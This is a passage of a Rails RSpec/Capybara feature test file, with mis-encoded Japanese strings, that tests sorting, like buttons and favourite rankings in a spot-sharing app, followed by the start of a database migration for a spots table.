first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link 'ๆๅจๅฐ' # ้้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
it 'ๆ็จฟๆฅใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆ็จฟๆฅ' # ๆ้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ๆ็จฟๆฅ' # ้้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it 'ๆฅ่จชๆฅใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆฅ่จชๆฅ' # ๆ้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ๆฅ่จชๆฅ' # ้้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it '่ฉไพกใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link '่ฉไพก' # ๆ้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link '่ฉไพก' # ้้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
it 'ใใใญใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ใใใญ' # ๆ้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link 'ใใใญ' # ้้
first_spot_link = find_all('a')[19].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
end
context 'ใฝใผใๆฉ่ฝใฎใในใ(ในใใใไธ่ฆง็ป้ข)' do
before do
visit spots_path
end
it 'ใฟใคใใซใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ใฟใคใใซ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ใฟใคใใซ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it 'ๆๅจๅฐใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆๅจๅฐ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link 'ๆๅจๅฐ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
it 'ๆ็จฟๆฅใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆ็จฟๆฅ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ๆ็จฟๆฅ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it 'ๆฅ่จชๆฅใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๆฅ่จชๆฅ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
click_link 'ๆฅ่จชๆฅ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
end
it '่ฉไพกใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link '่ฉไพก' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link '่ฉไพก' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
it 'ใใใญใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ใใใญ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('็จฒ่ทๅฑฑๅคๅขณ')
click_link 'ใใใญ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใ')
end
end
context 'ใฝใผใๆฉ่ฝใฎใในใ(ใฆใผใถใผไธ่ฆง็ป้ข)' do
before do
visit users_path
end
it 'ๅนด้ฝขใฎใฝใผใ๏ผๆญฃใใ่กจ็คบใใใใ' do
click_link 'ๅนด้ฝข' # ๆ้
first_spot_link = find_all('a')[11].native.inner_text
expect(first_spot_link).to match('ใใใณ')
click_link 'ๅนด้ฝข' # ้้
first_spot_link = find_all('a')[11].native.inner_text
expect(first_spot_link).to match('ใฟใญใผ')
end
end
context 'ใฝใผใๆฉ่ฝใฎใในใ(ใญใผใฏใผใไธ่ฆงใป่ฉณ็ดฐ็ป้ข)' do
before do
visit new_spot_path
fill_in 'spot[title]', with: 'ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ'
fill_in 'spot[keyword]', with: 'ๆฑไบฌใฟใฏใผ'
select 'ๅ่็', from: 'spot_prefecture'
fill_in 'spot[city]', with: 'ๆตฆๅฎๅธ'
select '2021', from: 'spot_visited_day_1i'
select '2', from: 'spot_visited_day_2i'
select '1', from: 'spot_visited_day_3i'
find('input[@name="spot[rate]"]', visible: false).set('4')
attach_file "spot[spot_image1]", "app/assets/images/image1.jpg"
fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50)
click_button 'ๆ็จฟใใ'
visit new_spot_path
fill_in 'spot[title]', with: 'ๅคใฎๆฑไบฌใฟใฏใผ'
fill_in 'spot[keyword]', with: 'ๆฑไบฌใฟใฏใผ'
select 'ๆฑไบฌ้ฝ', from: 'spot_prefecture'
fill_in 'spot[city]', with: 'ๆธฏๅบ'
select '2021', from: 'spot_visited_day_1i'
select '1', from: 'spot_visited_day_2i'
select '1', from: 'spot_visited_day_3i'
find('input[@name="spot[rate]"]', visible: false).set('5')
attach_file "spot[spot_image1]", "app/assets/images/image1.jpg"
fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50)
click_button 'ๆ็จฟใใ'
visit new_spot_path
fill_in 'spot[title]', with: 'ใในใฎใใซใซใน'
fill_in 'spot[keyword]', with: 'ใในใฎใใซใซใน'
select 'ๅคง้ชๅบ', from: 'spot_prefecture'
fill_in 'spot[city]', with: 'ๅคง้ชๅธ้ฟๅ้ๅบ'
select '2020', from: 'spot_visited_day_1i'
select '1', from: 'spot_visited_day_2i'
select '1', from: 'spot_visited_day_3i'
find('input[@name="spot[rate]"]', visible: false).set('4')
attach_file "spot[spot_image1]", "app/assets/images/image1.jpg"
fill_in 'spot[content]', with: Faker::Lorem.characters(number: 50)
click_button 'ๆ็จฟใใ'
end
let!(:favorite2) { create(:favorite, user: search_user, spot: Spot.find(3)) }
it 'ใญใผใฏใผใไธ่ฆง็ป้ข๏ผๅ้
็ฎใ่กจ็คบใใใฆใใ' do
visit keywords_path
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
expect(page).to have_link 'ๆฑไบฌใฟใฏใผ', href: keyword_path(Keyword.first.id)
expect(page).to have_link 'ใในใฎใใซใซใน', href: keyword_path(Keyword.last.id)
expect(page).to have_content Keyword.first.spots.count
expect(page).to have_content Keyword.first.spots.average(:rate)
expect(page).to have_content Keyword.last.spots.count
expect(page).to have_content Keyword.last.spots.average(:rate)
end
it 'ใญใผใฏใผใไธ่ฆง็ป้ข๏ผใญใผใฏใผใ่ฉไพกๅนณๅใฎใฝใผใใๆญฃใใ่กจ็คบใใใใ' do
visit keywords_path
click_link '่ฉไพกๅนณๅ' # ๆ้
first_spot_link = find_all('a')[11].native.inner_text
expect(first_spot_link).to match('ใในใฎใใซใซใน')
click_link '่ฉไพกๅนณๅ' # ้้
first_spot_link = find_all('a')[11].native.inner_text
expect(first_spot_link).to match('ๆฑไบฌใฟใฏใผ')
end
it 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข๏ผๅ้
็ฎใ่กจ็คบใใใฆใใ' do
visit keyword_path(Keyword.first)
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
expect(page).to have_link 'ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ', href: spot_path(Spot.find(3))
expect(page).to have_link 'ๅคใฎๆฑไบฌใฟใฏใผ', href: spot_path(Spot.find(4))
expect(page).to have_content Spot.find(3).prefecture
expect(page).to have_content Spot.find(4).prefecture
expect(page).to have_content Spot.find(3).city
expect(page).to have_content Spot.find(4).city
expect(page).to have_content Spot.find(3).created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content Spot.find(4).created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content Spot.find(3).visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_content Spot.find(4).visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
expect(page).to have_link '', href: spot_favorites_path(Spot.find(3))
expect(page).to have_link '', href: spot_favorites_path(Spot.find(4))
expect(page).to have_content Spot.find(3).favorites.count
expect(page).to have_content Spot.find(4).favorites.count
end
it 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข๏ผใฟใคใใซใฎใฝใผใใๆญฃใใ่กจ็คบใใใใ' do
visit keyword_path(Keyword.first)
click_link 'ใฟใคใใซ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ')
click_link 'ใฟใคใใซ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ๅคใฎๆฑไบฌใฟใฏใผ')
end
it 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข๏ผๆๅจๅฐใฎใฝใผใใๆญฃใใ่กจ็คบใใใใ' do
visit keyword_path(Keyword.first)
click_link 'ๆๅจๅฐ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ')
click_link 'ๆๅจๅฐ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ๅคใฎๆฑไบฌใฟใฏใผ')
end
it 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข๏ผๆ็จฟๆฅใฎใฝใผใใๆญฃใใ่กจ็คบใใใใ' do
visit keyword_path(Keyword.first)
click_link 'ๆ็จฟๆฅ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ')
click_link 'ๆ็จฟๆฅ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ๅคใฎๆฑไบฌใฟใฏใผ')
end
it 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข๏ผๆฅ่จชๆฅใฎใฝใผใใๆญฃใใ่กจ็คบใใใใ' do
visit keyword_path(Keyword.first)
click_link 'ๆฅ่จชๆฅ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ๅคใฎๆฑไบฌใฟใฏใผ')
click_link 'ๆฅ่จชๆฅ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ')
end
it 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข๏ผ่ฉไพกใฎใฝใผใใๆญฃใใ่กจ็คบใใใใ' do
visit keyword_path(Keyword.first)
click_link '่ฉไพก' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ')
click_link '่ฉไพก' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ๅคใฎๆฑไบฌใฟใฏใผ')
end
it 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข๏ผ่ฉไพกใฎใฝใผใใๆญฃใใ่กจ็คบใใใใ' do
visit keyword_path(Keyword.first)
click_link '่ฉไพก' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ')
click_link '่ฉไพก' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ๅคใฎๆฑไบฌใฟใฏใผ')
end
it 'ใญใผใฏใผใ่ฉณ็ดฐ็ป้ข๏ผใใใญใฎใฝใผใใๆญฃใใ่กจ็คบใใใใ' do
visit keyword_path(Keyword.first)
click_link 'ใใใญ' # ๆ้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ๅคใฎๆฑไบฌใฟใฏใผ')
click_link 'ใใใญ' # ้้
first_spot_link = find_all('a')[16].native.inner_text
expect(first_spot_link).to match('ใใฃใบใใผใฉใณใใใ่ฆใๆฑไบฌใฟใฏใผ')
end
end
end
describe '[STEP2] ใฆใผใถใญใฐใคใณๅพใฎใในใ ใใใญๆฉ่ฝใฎใในใ' do
let(:user) { create(:user) }
let!(:spot) { create(:spot, user: user) }
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
end
context 'ใใใ็ป้ขใงใฎใในใ' do
before do
visit top_path
end
it 'ใใใญใๆผใ', js: true do
expect do
find("#like-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(1)
expect(page).to have_css "#unlike-#{spot.id}"
end
it 'ใใใญใๅใๆถใ', js: true do
find("#like-#{spot.id}").click
sleep 1
expect do
find("#unlike-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(-1)
expect(page).to have_css "#like-#{spot.id}"
end
end
context 'ใฆใผใถใผ่ฉณ็ดฐ็ป้ขใงใฎใในใ' do
before do
visit user_path(user)
end
it 'ใใใญใๆผใ', js: true do
expect do
find("#like-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(1)
expect(page).to have_css "#unlike-#{spot.id}"
end
it 'ใใใญใๅใๆถใ', js: true do
find("#like-#{spot.id}").click
sleep 1
expect do
find("#unlike-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(-1)
expect(page).to have_css "#like-#{spot.id}"
end
end
context 'ในใใใ่ฉณ็ดฐ็ป้ขใงใฎใในใ' do
before do
visit spot_path(spot)
end
it 'ใใใญใๆผใ', js: true do
expect do
find("#like-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(1)
expect(page).to have_css "#unlike-#{spot.id}"
end
it 'ใใใญใๅใๆถใ', js: true do
find("#like-#{spot.id}").click
sleep 1
expect do
find("#unlike-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(-1)
expect(page).to have_css "#like-#{spot.id}"
end
end
context 'ในใใใไธ่ฆง็ป้ขใงใฎใในใ' do
before do
visit spots_path
end
it 'ใใใญใๆผใ', js: true do
expect do
find("#like-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(1)
expect(page).to have_css "#unlike-#{spot.id}"
end
it 'ใใใญใๅใๆถใ', js: true do
find("#like-#{spot.id}").click
sleep 1
expect do
find("#unlike-#{spot.id}").click
sleep 1
end.to change { spot.favorites.count }.by(-1)
expect(page).to have_css "#like-#{spot.id}"
end
end
# ใญใผใฏใผใ่ฉณ็ดฐใงใฎใใใญๆฉ่ฝใฏใใใใใฎใในใๅ
ใงๅฎๆฝๆธ
end
describe '[STEP2] ใฆใผใถใญใฐใคใณๅพใฎใในใ ใฉใณใญใณใฐ(ในใใใใใใญๆฐ)ใฎใในใ' do
let(:user) { create(:user, profile_image: nil) }
let(:other_user) { create(:user, profile_image: nil) }
before do
visit new_user_session_path
fill_in 'user[email]', with: user.email
fill_in 'user[password]', with: user.password
click_button 'ใญใฐใคใณ'
end
context 'ใใใญๆฐใฉใณใญใณใฐ(ในใใใ)ใใใใญๆฐ1ไปฅไธใฎในใใใๆฐใใชใๅ ดๅ' do
before do
visit spot_favorite_ranking_path
end
it 'ใ็พๅจๆบๅไธญใงใใใใจ่กจ็คบใใใ' do
expect(page).to have_content '็พๅจๆบๅไธญใงใใ'
end
it 'ใใใกใใใใใใญๆฐใฉใณใญใณใฐ(ใฆใผใถใผ)ใธใฎใชใณใฏใจใชใฃใฆใใ' do
expect(page).to have_link 'ใใกใ', href: user_favorite_ranking_path
end
end
context 'ใใใญๆฐใฉใณใญใณใฐ(ในใใใ)ใใใใญๆฐ1ไปฅไธใฎในใใใๆฐใ10ไปฅไธใฎๅ ดๅ' do
let!(:spot1) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot2) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot3) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot4) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot5) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot6) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot7) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot8) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot9) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot10) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:favorite1) { create(:favorite, user: user, spot: spot1) }
let!(:favorite2) { create(:favorite, user: user, spot: spot2) }
let!(:favorite3) { create(:favorite, user: user, spot: spot3) }
let!(:favorite4) { create(:favorite, user: user, spot: spot4) }
let!(:favorite5) { create(:favorite, user: user, spot: spot5) }
let!(:favorite6) { create(:favorite, user: user, spot: spot6) }
let!(:favorite7) { create(:favorite, user: user, spot: spot7) }
let!(:favorite8) { create(:favorite, user: user, spot: spot8) }
let!(:favorite9) { create(:favorite, user: user, spot: spot9) }
before do
visit spot_favorite_ranking_path
end
it '้ ไฝใ่กจ็คบใใใ' do
expect(page).to have_content '็ฌฌ1ไฝ'
end
it 'ในใใใใฎใฟใคใใซใ่กจ็คบใใใ' do
expect(page).to have_content spot1.title
end
it 'ในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content spot1.prefecture
expect(page).to have_content spot1.city
end
it 'ในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot1.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎๆ็จฟ่
ใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content spot1.user.nickname
end
it 'ในใใใใฎใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_content spot1.favorites.count
end
it 'ใใใญๆฐ0ใฎในใใใใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_content spot10.title
end
end
context 'ใใใญๆฐใฉใณใญใณใฐ(ในใใใ)ใใใใญๆฐ1ไปฅไธใฎในใใใๆฐใ11ไปฅไธใฎๅ ดๅ' do
let!(:spot1) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot2) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot3) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot4) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot5) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot6) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot7) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot8) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot9) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot10) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot11) { create(:spot, user: user, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:favorite1) { create(:favorite, user: user, spot: spot1) }
let!(:favorite2) { create(:favorite, user: user, spot: spot2) }
let!(:favorite3) { create(:favorite, user: user, spot: spot3) }
let!(:favorite4) { create(:favorite, user: user, spot: spot4) }
let!(:favorite5) { create(:favorite, user: user, spot: spot5) }
let!(:favorite6) { create(:favorite, user: user, spot: spot6) }
let!(:favorite7) { create(:favorite, user: user, spot: spot7) }
let!(:favorite8) { create(:favorite, user: user, spot: spot8) }
let!(:favorite9) { create(:favorite, user: user, spot: spot9) }
let!(:favorite10) { create(:favorite, user: other_user, spot: spot10) }
let!(:favorite11) { create(:favorite, user: other_user, spot: spot11) }
let!(:favorite12) { create(:favorite, user: other_user, spot: spot1) }
let!(:favorite13) { create(:favorite, user: other_user, spot: spot2) }
let!(:favorite14) { create(:favorite, user: other_user, spot: spot3) }
let!(:favorite15) { create(:favorite, user: other_user, spot: spot4) }
let!(:favorite16) { create(:favorite, user: other_user, spot: spot5) }
let!(:favorite17) { create(:favorite, user: other_user, spot: spot6) }
let!(:favorite18) { create(:favorite, user: other_user, spot: spot7) }
let!(:favorite19) { create(:favorite, user: other_user, spot: spot8) }
let!(:favorite20) { create(:favorite, user: other_user, spot: spot9) }
let!(:favorite21) { create(:favorite, user: other_user, spot: spot10) }
before do
visit spot_favorite_ranking_path
end
it '้ ไฝใ่กจ็คบใใใ' do
expect(page).to have_content '็ฌฌ1ไฝ'
end
it 'ในใใใใฎใฟใคใใซใ่กจ็คบใใใ' do
expect(page).to have_content spot1.title
end
it 'ในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content spot1.prefecture
expect(page).to have_content spot1.city
end
it 'ในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content spot1.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใใฎๆ็จฟ่
ใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content spot1.user.nickname
end
it 'ในใใใใฎใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_content spot1.favorites.count
end
end
end
describe '[STEP2] ใฆใผใถใญใฐใคใณๅพใฎใในใ ใฉใณใญใณใฐ(ใฆใผใถใผใใใญๆฐ)ใฎใในใ' do
let(:user1) { create(:user, profile_image: nil) }
let!(:user2) { create(:user, profile_image: nil) }
let!(:user3) { create(:user, profile_image: nil) }
let!(:user4) { create(:user, profile_image: nil) }
let!(:user5) { create(:user, profile_image: nil) }
let!(:user6) { create(:user, profile_image: nil) }
let!(:user7) { create(:user, profile_image: nil) }
let!(:user8) { create(:user, profile_image: nil) }
let!(:user9) { create(:user, profile_image: nil) }
let!(:user10) { create(:user, profile_image: nil) }
let!(:user11) { create(:user, profile_image: nil) }
let!(:spot1) { create(:spot, user: user1, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot2) { create(:spot, user: user2, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot3) { create(:spot, user: user3, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot4) { create(:spot, user: user4, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot5) { create(:spot, user: user5, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot6) { create(:spot, user: user6, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot7) { create(:spot, user: user7, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot8) { create(:spot, user: user8, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot9) { create(:spot, user: user9, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot10) { create(:spot, user: user10, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
let!(:spot11) { create(:spot, user: user11, spot_image1: nil, spot_image2: nil, spot_image3: nil) }
before do
visit new_user_session_path
fill_in 'user[email]', with: user1.email
fill_in 'user[password]', with: user1.password
click_button 'ใญใฐใคใณ'
end
context 'ใใใญๆฐใฉใณใญใณใฐ(ในใใใ)ใ็ทใใใญๆฐ1ไปฅไธใฎใฆใผใถใผๆฐใใชใๅ ดๅ' do
before do
visit user_favorite_ranking_path
end
it 'ใ็พๅจๆบๅไธญใงใใใใจ่กจ็คบใใใ' do
expect(page).to have_content '็พๅจๆบๅไธญใงใใ'
end
it 'ใใใกใใใใใใญๆฐใฉใณใญใณใฐ(ในใใใ)ใธใฎใชใณใฏใจใชใฃใฆใใ' do
expect(page).to have_link 'ใใกใ', href: spot_favorite_ranking_path
end
end
context 'ใใใญๆฐใฉใณใญใณใฐ(ในใใใ)ใ็ทใใใญๆฐ1ไปฅไธใฎใฆใผใถใผๆฐใ10ไปฅไธใฎๅ ดๅ' do
let!(:favorite1) { create(:favorite, user: user1, spot: spot1) }
let!(:favorite2) { create(:favorite, user: user1, spot: spot2) }
let!(:favorite3) { create(:favorite, user: user1, spot: spot3) }
let!(:favorite4) { create(:favorite, user: user1, spot: spot4) }
let!(:favorite5) { create(:favorite, user: user1, spot: spot5) }
let!(:favorite6) { create(:favorite, user: user1, spot: spot6) }
let!(:favorite7) { create(:favorite, user: user1, spot: spot7) }
let!(:favorite8) { create(:favorite, user: user1, spot: spot8) }
let!(:favorite9) { create(:favorite, user: user1, spot: spot9) }
before do
visit user_favorite_ranking_path
end
it '้ ไฝใ่กจ็คบใใใ' do
expect(page).to have_content '็ฌฌ1ไฝ'
end
it 'ใฆใผใถใผใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content user1.nickname
end
it 'ใฆใผใถใผใฎไฝๆใ่กจ็คบใใใ' do
expect(page).to have_content user1.prefecture
expect(page).to have_content user1.city
end
it 'ใฆใผใถใผใฎๅนด้ฝขใ่กจ็คบใใใ' do
expect(page).to have_content user1.age
end
it 'ใฆใผใถใผใฎๆ็จฟในใใใๆฐใ่กจ็คบใใใ' do
expect(page).to have_content user1.spots.count
end
it 'ใฆใผใถใผใฎ็ฒๅพ็ทใใใญๆฐใ่กจ็คบใใใ' do
user = User.find(1)
user_all_spots = user1.spots
user_all_favorites_count = 0
user_all_spots.each do |spot|
user_all_favorites_count += spot.favorites.count
end
expect(page).to have_content user_all_favorites_count
end
it 'ใใใญๆฐ0ใฎใฆใผใถใผใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_content user10.nickname
expect(page).not_to have_content user11.nickname
end
end
context 'ใใใญๆฐใฉใณใญใณใฐ(ในใใใ)ใใใใญๆฐ1ไปฅไธใฎในใใใๆฐใ11ไปฅไธใฎๅ ดๅ' do
let!(:favorite1) { create(:favorite, user: user1, spot: spot1) }
let!(:favorite2) { create(:favorite, user: user1, spot: spot2) }
let!(:favorite3) { create(:favorite, user: user1, spot: spot3) }
let!(:favorite4) { create(:favorite, user: user1, spot: spot4) }
let!(:favorite5) { create(:favorite, user: user1, spot: spot5) }
let!(:favorite6) { create(:favorite, user: user1, spot: spot6) }
let!(:favorite7) { create(:favorite, user: user1, spot: spot7) }
let!(:favorite8) { create(:favorite, user: user1, spot: spot8) }
let!(:favorite9) { create(:favorite, user: user1, spot: spot9) }
let!(:favorite10) { create(:favorite, user: user1, spot: spot10) }
let!(:favorite11) { create(:favorite, user: user1, spot: spot11) }
let!(:favorite12) { create(:favorite, user: user2, spot: spot1) }
let!(:favorite13) { create(:favorite, user: user2, spot: spot2) }
let!(:favorite14) { create(:favorite, user: user2, spot: spot3) }
let!(:favorite15) { create(:favorite, user: user2, spot: spot4) }
let!(:favorite16) { create(:favorite, user: user2, spot: spot5) }
let!(:favorite17) { create(:favorite, user: user2, spot: spot6) }
let!(:favorite18) { create(:favorite, user: user2, spot: spot7) }
let!(:favorite19) { create(:favorite, user: user2, spot: spot8) }
let!(:favorite20) { create(:favorite, user: user2, spot: spot9) }
let!(:favorite21) { create(:favorite, user: user2, spot: spot10) }
before do
visit user_favorite_ranking_path
end
it '้ ไฝใ่กจ็คบใใใ' do
expect(page).to have_content '็ฌฌ1ไฝ'
end
it 'ใฆใผใถใผใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content user1.nickname
end
it 'ใฆใผใถใผใฎไฝๆใ่กจ็คบใใใ' do
expect(page).to have_content user1.prefecture
expect(page).to have_content user1.city
end
it 'ใฆใผใถใผใฎๅนด้ฝขใ่กจ็คบใใใ' do
expect(page).to have_content user1.age
end
it 'ใฆใผใถใผใฎๆ็จฟในใใใๆฐใ่กจ็คบใใใ' do
expect(page).to have_content user1.spots.count
end
it 'ใฆใผใถใผใฎ็ฒๅพ็ทใใใญๆฐใ่กจ็คบใใใ' do
user = User.find(1)
user_all_spots = user.spots
user_all_favorites_count = 0
user_all_spots.each do |spot|
user_all_favorites_count += spot.favorites.count
end
expect(page).to have_content user_all_favorites_count
end
end
end
```
20210306044543_create_spots.rb
```class CreateSpots < ActiveRecord::Migration[5.2]
def change
create_table :spots do |t|
t.integer :user_id
t.string :title
t.integer :prefecture
t.string :city
t.date :visited_day
t.integer :rate
t.string :spot_image1_id
t.string :spot_image2_id
t.string :spot_image3_id
t.text :content
t.timestamps
end
